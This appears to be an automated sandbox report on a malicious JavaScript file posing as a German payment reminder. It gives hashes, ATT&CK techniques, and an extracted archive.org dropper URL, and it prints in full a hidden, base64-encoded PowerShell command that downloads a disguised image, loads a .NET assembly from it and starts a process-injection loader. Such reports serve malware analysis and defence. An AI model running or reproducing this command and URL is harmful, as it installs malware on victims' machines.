5cdcdc7a4dccf4f3aa5d6989eca5b0f470148eef49cd0d603065cb602d19ffbd

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
14/11/2025, 15:58

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General

Target
zahlungserinnerung.js
Size 8.0MB
Sample251114-temkystlht
SHA256 5cdcdc7a4dccf4f3aa5d6989eca5b0f470148eef49cd0d603065cb602d19ffbd
MD5 7342adb19d672dcd4dcc2068c35923dd
SHA1 f5076c3d8843dc9a42f7c1b9003a97e81a287cdf
SHA512 ca4156a0a510514f469017d24293b668c5818e47b9c77c15224782b5a37c01c0900d6b33f80969f6efb7f123fa0dbe7a8bc09df5869f6ad6b8b78c6748c23722
SSDEEP 768:WKin9xcFSC6UpjRWBUZ22Z0VRzSEmrIpxG4X9J+VmDHzJ+G7NW:f3SCFIBUL0VUXrIpx1J+2TJ+GZW
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://ia903108.us.archive.org/25/items/msi-pro-with-b-64_20251111_1931/MSI_PRO_with_b64.png
exe.dropper
http://ia903108.us.archive.org/25/items/msi-pro-with-b-64_20251111_1931/MSI_PRO_with_b64.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2832	3384	powershell.exe	78

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2832	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2832	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2832	powershell.exe
2832	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2832	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\zahlungserinnerung.js
1⤵
PID:4088

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG5lY2t0aWVkID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsNCiRuZWNrdGllZC5IZWFkZXJzLkFkZCgiVXNlci1BZ2VudCIsICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTIyLjAuNjI2MS45NSBTYWZhcmkvNTM3LjM2Iik7DQokbmVja3RpZWQuSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTsNCiRuZWNrdGllZC5IZWFkZXJzLkFkZCgiQWNjZXB0LUxhbmd1YWdlIiwgImVuLVVTLGVuO3E9MC45Iik7DQokcmVzdG9yZSA9ICdodHRwOi8vaWE5MDMxMDgudXMuYXJjaGl2ZS5vcmcvMjUvaXRlbXMvbXNpLXByby13aXRoLWItNjRfMjAyNTExMTFfMTkzMS9NU0lfUFJPX3dpdGhfYjY0LnBuZyc7DQokY29wcmluID0gJG5lY2t0aWVkLkRvd25sb2FkRGF0YSgkcmVzdG9yZSk7DQokYmV3ZXQgID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0U3RyaW5nKCRjb3ByaW4pOw0KaWYgKCRiZXdldCAtbWF0Y2ggJ0Jhc2VTdGFydC0oLio/KS1CYXNlRW5kJykgew0KICAkZ3VydXMgPSAkbWF0Y2hlc1sxXTsNCiAgJHBvbGl0aWNhbGlzbSA9IFtSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGd1cnVzKSk7DQogIFtDbGFzc0xpYnJhcnkxLkNsYXNzMV06OlZBSSgnPVFIZTA1U1owVlhldk1YWnNsbVp2c1didU0zYnVkMmJqOXlMNk1IYzBSSGEnLCcnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ05hbWVfRmlsZScsJ0FkZEluUHJvY2VzczMyJywnJywnQWRkSW5Qcm9jZXNzMzInLCcnLCdVUkwnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ05hbWVfRmlsZScsJ2pzJywnMScsJycsJ1Rhc2tfTmFtZScsJzAnLCcnLCdVUkwnLCcnKTsNCn0=')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2832

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_4nlyuuub.f2k.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4nlyuuub.f2k.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/2832-1-0x0000021623350000-0x0000021623360000-memory.dmp

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memory/2832-0-0x0000021623350000-0x0000021623360000-memory.dmp

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memory/2832-2-0x0000021623460000-0x0000021623482000-memory.dmp

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memory/2832-9-0x0000021623350000-0x0000021623360000-memory.dmp

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memory/2832-11-0x0000021623350000-0x0000021623360000-memory.dmp

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memory/2832-10-0x0000021623350000-0x0000021623360000-memory.dmp

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memory/2832-12-0x0000021623350000-0x0000021623360000-memory.dmp

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